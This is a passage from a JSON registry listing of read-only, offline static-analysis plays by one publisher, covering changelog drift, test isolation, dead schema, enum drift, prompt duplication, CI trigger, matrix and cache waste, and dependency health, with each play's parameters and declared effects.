changelog entry, a changelog entry no tag carries, and a release whose commits shipped something user-visible its note never mentions - a BREAKING marker the note never warns about, a new --flag the note never names, a run of feature commits against an empty entry, an area two or more features touched that the note never names. Tag and heading are joined on a normalised version, so v1.2.3, release-1.2.3 and `## [1.2.3]` are one release. Every match is on word boundaries, never a substring; a commit it cannot classify is never counted as user-visible. A repository with no tags - a SHALLOW clone fetches none - is UNAVAILABLE by name, never a clean release history. Read-only git: rev-parse, for-each-ref, log. Nothing executed or written. Needs git, python3, bash, an ABSOLUTE root.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-quality","domain-devops","job-release-review","tool-git","tool-shell","effect-read-only","changelog","release-notes","git-tags","release-engineering","conventional-commits","semver","documentation-drift","keep-a-changelog","breaking-change","upgrade-notes","audience-maintainers","audience-release-managers","audience-open-source","read-only","offline","no-network","no-credentials","static-analysis"],"primary_domain":"domain-quality","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:35:01.719991+00:00","visibility":"public","quality_score":1,"size_bytes":35180,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["census","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the git repository to read. A process.exec step runs in rote's own workspace rather than in your shell's directory, so a relative path would read the wrong repository and report a confident verdict about it; a relative value is refused with exit 2.","example":"/Users/you/src/my-project"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for changelog files","example":"2"},{"name":"per_shard","type":"string","required":false,"default":"12","description":"How many release windows each analyze child grades. The fan-out carries shard IDS rather than paths, because a step's stdout is cut at 65536 bytes and one path per item would cap the scan without saying so.","example":"25"},{"name":"max_commits","type":"string","required":false,"default":"400","description":"How many commit subjects to read per release window. A window that hits the cap is marked capped in the report rather than silently shortened.","example":"1000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:40c63da81ee40dbe50d976ea43441e3d2535b5085ce4f939c85cb37934805b5c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/test-isolation@0.1.0","reference":"lgoyal6/test-isolation@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/test-isolation@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/test-isolation@0.1.0","name":"test-isolation","title":"test-isolation","description":"A test that depends on another test passes for the wrong reason: it passes in the suite and fails alone, or the other way round, and which one you get depends on collection order. This reads each Python test file with ast and reports the state one test writes and another inherits: a module-level container one test mutates and another reads, a fixture whose scope is wider than the mutation it receives, a shared class attribute, os.environ or sys.path changed with nothing putting it back, and a write to a fixed path instead of a temp directory. The distinction that carries it is restore vs no restore: monkeypatch, mock.patch.dict, try/finally, addCleanup, an autouse fixture that guards the file, and the tmp_path fixture are each recognised structurally and counted as excluded, never reported. Save-and-put-back with no try/finally is reported apart, because it leaks only when the test fails. Never runs a test. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-test-isolation-audit","tool-static-analysis","effect-read-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:31:32.267313+00:00","visibility":"public","quality_score":1,"size_bytes":26224,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the tree whose Python tests should be read. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a clean bill about it.","example":"/Users/you/your-repo"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Ceiling on how many test files are analyzed; a tree over it is reported as PARTIAL rather than silently cut","example":"20000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print in full per group before the rest are summarised","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:380dfcac3ccdefaf1701e8713736116f97227756b3ea809cde12c8f50434b83e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/orphan-model@1.0.0","reference":"lgoyal6/orphan-model@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/orphan-model@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/orphan-model@1.0.0","name":"orphan-model","title":"orphan-model","description":"Dead schema is not free - it is migrated, backed up, replicated and read by everyone trying to understand the system - and a column the code names but the schema does not define is a query that cannot run. This answers both directions. It reads declared tables from CREATE TABLE, CREATE VIEW, Prisma models, Django models and SQLAlchemy __tablename__, then looks for a use of each: a raw SQL statement, an ORM call, or a plain `Order(...)` use of the model class, which is how a SQLAlchemy model that never touches .objects still gets used. Then it inverts, reporting tables and columns the code names that no schema here defines. What it cannot resolve it COUNTS instead of assuming unused: a table name built by an f-string, a model looked up with getattr, a repository wrapper that names no model. When that unresolved share is large the orphan list is ranked undetermined rather than actionable, and says so. Read-only, offline, never connects to a database, deletes nothing.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","data-layer-workflows","job-dead-schema-audit","tool-static-analysis","effect-read-only","database","schema","orm","migrations","dead-code","prisma","django","sqlalchemy","sql","technical-debt","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:29:55.717398+00:00","visibility":"public","quality_score":1,"size_bytes":32709,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for schema and source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4178b8c832961154aa021ed1e1d77ef17b7d9782c096b13baf48fe3a01074526","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/enum-drift@1.0.0","reference":"lgoyal6/enum-drift@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/enum-drift@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/enum-drift@1.0.0","name":"enum-drift","title":"enum-drift","description":"The same enum gets written down four times - a Python or TypeScript enum, a Postgres enum type or CHECK constraint, an API schema, a frontend constant - and nothing makes those four agree. This finds the ones that no longer do, and says which side is missing what. A value the DATABASE accepts that the code cannot parse is the bad direction: the row already exists and the deserialiser already throws, so it is ranked critical, while a value only the code emits is a write that fails loudly and is ranked below it. ALTER TYPE ADD VALUE is followed, so a value a later migration added to the type is caught even when the original CREATE TYPE still looks right. Values that differ only in case are reported separately, because that one is invisible in review. Names group by exact normalised token, so Status never groups with SubStatus, and two enums that share a name but no members are counted rather than reported. Read-only, offline, never connects to a database.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","data-layer-workflows","job-contract-drift-audit","tool-static-analysis","effect-read-only","enums","schema","database","migrations","api-contract","prisma","postgres","python","typescript","type-safety","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:29:48.770885+00:00","visibility":"public","quality_score":1,"size_bytes":28837,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for schema and source files","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5761ef1377552d5d433af1a03f161c897081cace18ed271b8f1a0e0963637a1a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/eval-coverage@0.1.0","reference":"lgoyal6/eval-coverage@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/eval-coverage@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/eval-coverage@0.1.0","name":"eval-coverage","title":"eval-coverage","description":"The prompt is the most-edited and least-verified file in an LLM app. Somebody tunes it on a Tuesday, ships it, and nothing anywhere asserts what it now says. This joins the LLM-behaviour definitions in a tree - named prompt constants, functions that actually call a model, tool and agent declarations - to the repository's own test AND eval trees, and reports which of them have no evidence of being exercised and which do. Evidence is an exact symbol name in a test or eval file, the prompt's own text quoted there, or, marked WEAK, the defining module named without the symbol. Name matching is whole-identifier only: a substring join would let a test that mentions render_prompt vouch for a prompt it has never heard of. The claim is deliberately narrow - no test NAMES this - never \"this is untested\", because a parametrised test can drive twenty prompts and name none. Nothing is executed and no coverage tool is run. Read-only, offline, never calls a model.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","llm-application-code","job-eval-coverage-audit","tool-static-analysis","effect-read-only","eval-coverage","prompt-testing","untested-prompt","agent-tools","llm-evals","test-evidence","coverage-gap","audience-developers","audience-ml-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:29:48.653983+00:00","visibility":"public","quality_score":1,"size_bytes":22042,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree to audit. A relative path is refused: a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a confident clean bill about it.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source, test and eval files","example":"6"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Upper bound on files opened, counting BOTH sides of the join. Exceeding it is reported as PARTIAL, never as a clean scan.","example":"2000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ee9821d37124f5c84b9e7a5fd58fcc4671a74d2ce7df716ae2f678d0605f6906","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/prompt-sprawl@0.1.0","reference":"lgoyal6/prompt-sprawl@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/prompt-sprawl@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/prompt-sprawl@0.1.0","name":"prompt-sprawl","title":"prompt-sprawl","description":"Somebody copy-pasted the system prompt into a second file, then a third. Months later two of them say answer in JSON and the third still says answer in XML, and nobody knows which copy the agent actually loads. This finds prompt-shaped strings across a tree - prompt-named bindings, role-tagged messages, and text that addresses a model in the second person - reduces each to a set of per-sentence fingerprints so that reformatting and placeholder churn cannot hide a match, groups the near-duplicates, and prints the groups that have DRIFTED together with the exact sentences one copy carries and another lacks. Exact copies are reported separately and far more quietly: they are a maintenance cost, not a live inconsistency. License headers, SQL, plain docstrings and strings too short to compare are excluded by name and COUNTED, never dropped in silence. Read-only, offline, never calls a model.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","llm-application-code","job-prompt-audit","tool-static-analysis","effect-read-only","prompt-sprawl","prompt-duplication","system-prompt","near-duplicate","copy-paste-drift","prompt-engineering","single-source-of-truth","audience-developers","audience-ml-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:29:42.688449+00:00","visibility":"public","quality_score":1,"size_bytes":24138,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose prompts should be compared. A relative path is refused: a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a confident clean bill about it.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source and prompt-text files","example":"6"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Upper bound on candidate files opened. Exceeding it is reported as PARTIAL, never as a clean scan.","example":"1500"},{"name":"similarity","type":"string","required":false,"default":"50","description":"Percent of sentences two prompts must share before they are called copies of one prompt. Lower groups more aggressively and invents relationships; higher only groups near-identical text and misses heavily edited copies.","example":"65"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2136b9a35a6c990ce17d07c9a9066f89e2db52ab9783a3dab7f100aac020259f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/trigger-overlap@1.0.0","reference":"lgoyal6/trigger-overlap@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/trigger-overlap@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/trigger-overlap@1.0.0","name":"trigger-overlap","title":"trigger-overlap","description":"Two questions about how OFTEN your CI runs. How many runs does one `git push` to a pull request branch start - it is supposed to be one, and `on: [push, pull_request]` makes it two for every same-repository branch, three with `pull_request_target`. And when you push again thirty seconds later, does the previous run stop, or do both finish? The output is a run census: runs and jobs started by a single push, workflows that fire more than once for it, workflows that never supersede a run in flight, and the runs a day your crons add before anybody pushes. Findings: duplicate triggers; no `concurrency:` at all; `cancel-in-progress` on a group keyed by `github.run_id` or `github.sha`, which can never collide, so it reads as protection and cancels nothing; a constant group, where one contributor cancels another; a cron above hourly. A named push `branches:` list is read as merge targets and never reported. 21 bundled cases, 13 negative. Static YAML, read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","ci-workflows","job-ci-cost-audit","tool-github-actions","effect-read-only","github-actions","workflow-triggers","concurrency","cancel-in-progress","duplicate-runs","runner-minutes","ci-cost","cron-schedule","audience-developers","audience-sre","audience-platform-engineering","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:29:08.259983+00:00","visibility":"public","quality_score":1,"size_bytes":23494,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose GitHub Actions triggers should be audited. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory.","example":"/Users/you/code/my-repo"},{"name":"depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to search for .github/workflows files","example":"4"},{"name":"per_shard","type":"string","required":false,"default":"10","description":"How many workflow files each analyze task reads. Lower it if a single task times out.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6505db2d491b631db572d3037110e46006e568ac381b7328793a4d67c173521b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/abandoned-deps@0.1.0","reference":"lgoyal6/abandoned-deps@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/abandoned-deps@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/abandoned-deps@0.1.0","name":"abandoned-deps","title":"abandoned-deps","description":"Which dependencies show no sign of life upstream, judged only from files already on your disk. Deliberately NOT a bundled list of dead package names with a snapshot date, because a list like that is right the week it ships and quietly wrong forever after. Five derived signals instead: a DEPRECATED marker the publisher wrote, found in the lockfile, the installed package.json or npm's own cached registry document; SILENT, where that cached document's newest release is years old; BEHIND, where newer releases exist and the newest still fits the range your manifest declares; PIN AGE from a uv lockfile's upload-time, which dates the pin and never the project; and NO REPOSITORY, claimed only where a field for it was actually read. Whether a repository is archived or deleted cannot be known offline, so that is counted, not guessed. A package with no local evidence is UNRESOLVED, never healthy. Reads six lockfile formats. No network, no package manager. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","dependency-workflows","job-dependency-audit","tool-lockfile","effect-read-only","unmaintained-dependencies","deprecated-packages","supply-chain","technical-debt","lockfile","package-lock","yarn-lock","pnpm-lock","cargo-lock","poetry-lock","uv-lock","npm-cache","upgrade-planning","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:29:04.67962+00:00","visibility":"public","quality_score":1,"size_bytes":39266,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the directory tree to scan for lockfiles","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:978d6f0f404379876e0ed2c7f8ad8d9e1ce875e7786d847b7fc8ebe853ce2064","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":4,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/matrix-waste@1.0.0","reference":"lgoyal6/matrix-waste@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/matrix-waste@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/matrix-waste@1.0.0","name":"matrix-waste","title":"matrix-waste","description":"A matrix cell is a runner, and a runner is minutes on every push. This finds cells whose outcome cannot differ from a sibling's. An axis no step, `runs-on`, `if`, `env`, `with` or `container` in that job ever reads: its values run identical commands N times. An OS axis on a job whose every step is a formatter or a linter. A language-version axis that reaches nothing but a setup action while no step runs that language. An `exclude:` naming an axis or value that does not exist, which removes nothing while the cell it was meant to remove still runs. A matrix every combination of which is excluded, so the job never runs and its green check covers work that did not happen. Reference detection is by property name with a boundary on both sides, never substring: `os` is inside `matrix.ostype`. One opaque driver - `make`, `bash`, `docker` - in a job silences the language rule rather than guessing. 20 bundled cases, 13 negative. Static YAML, read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","ci-workflows","job-ci-cost-audit","tool-github-actions","effect-read-only","github-actions","build-matrix","runner-minutes","ci-cost","matrix-strategy","wasted-builds","workflow-hygiene","audience-developers","audience-sre","audience-platform-engineering","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:29:01.201434+00:00","visibility":"public","quality_score":1,"size_bytes":25857,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose GitHub Actions workflows should be audited. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory.","example":"/Users/you/code/my-repo"},{"name":"depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to search for .github/workflows files","example":"4"},{"name":"per_shard","type":"string","required":false,"default":"10","description":"How many workflow files each analyze task reads. Lower it if a single task times out.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:33705371fe246dc921ee8cee0d35f2602201520a83762507842ef7b514db4c34","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/transitive-weight@0.1.0","reference":"lgoyal6/transitive-weight@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/transitive-weight@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/transitive-weight@0.1.0","name":"transitive-weight","title":"transitive-weight","description":"The dependencies you never chose. Nobody picks 900 packages, they pick eleven, and one of the eleven turns out to be 40% of the install. For each DIRECT dependency this walks the resolved graph and reports how many transitive packages only it reaches, how deep the chain runs, what those packages weigh on disk, and which single direct dependency owns the largest share. The exclusive/shared split is the design: a package two dependencies both reach belongs to neither, so shares can never sum past 100%, which is the arithmetic that makes this kind of report believable. Reads package-lock.json (v1-v3), yarn.lock, pnpm-lock.yaml, Cargo.lock, poetry.lock and uv.lock. Bytes are measured from an install tree that already exists, never estimated. A lockfile with no derivable direct-dependency set yields no shares at all rather than a confident 0%. Runs no package manager, no network. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","dependency-workflows","job-dependency-audit","tool-lockfile","effect-read-only","transitive-dependencies","dependency-tree","install-size","bundle-size","supply-chain","lockfile","package-lock","yarn-lock","pnpm-lock","cargo-lock","poetry-lock","uv-lock","dependency-depth","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T04:29:01.040872+00:00","visibility":"public","quality_score":1,"size_bytes":31098,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the directory tree to scan for lockfiles","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6cbf5b53848574ef1c1f499e3059e0d6ce85b28ce1eddcf4afddcee6e7d6beaf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/cache-effectiveness@1.0.0","reference":"lgoyal6/cache-effectiveness@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/cache-effectiveness@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/cache-effectiveness@1.0.0","name":"cache-effectiveness","title":"cache-effectiveness","description":"A CI cache that never hits is not neutral: it pays the upload every run, and it evicts the entries that would have hit. This asks one answerable question per cache step - can this key ever match a key saved earlier, and can it ever stop matching when the cached thing changes. A key with no `hashFiles` and no version component hits forever and serves stale content. A key carrying `github.run_id`, `github.sha` or `$(date)` can never repeat: CRITICAL with no `restore-keys`, because it is upload-only. `hashFiles` over a pattern matching no file in the repository returns an EMPTY STRING rather than failing, so a renamed lockfile silently collapses the key to a constant - checked against the real tree. A restore no job in the file saves for. `node_modules` cached beside `npm ci`, which deletes it. A cache dir no tool in the job writes. 23 bundled cases, 16 negative, several of them real false positives this play produced. Static YAML, read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","ci-workflows","job-ci-cost-audit","tool-github-actions","effect-read-only","github-actions","build-cache","cache-key","hashfiles","cache-miss","runner-minutes","ci-cost","build-speed","audience-developers","audience-sre","audience-platform-engineering","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T04:28:54.909135+00:00","visibility":"public","quality_score":1,"size_bytes":26786,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose GitHub Actions caches should be audited. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory.","example":"/Users/you/code/my-repo"},{"name":"depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to search for .github/workflows 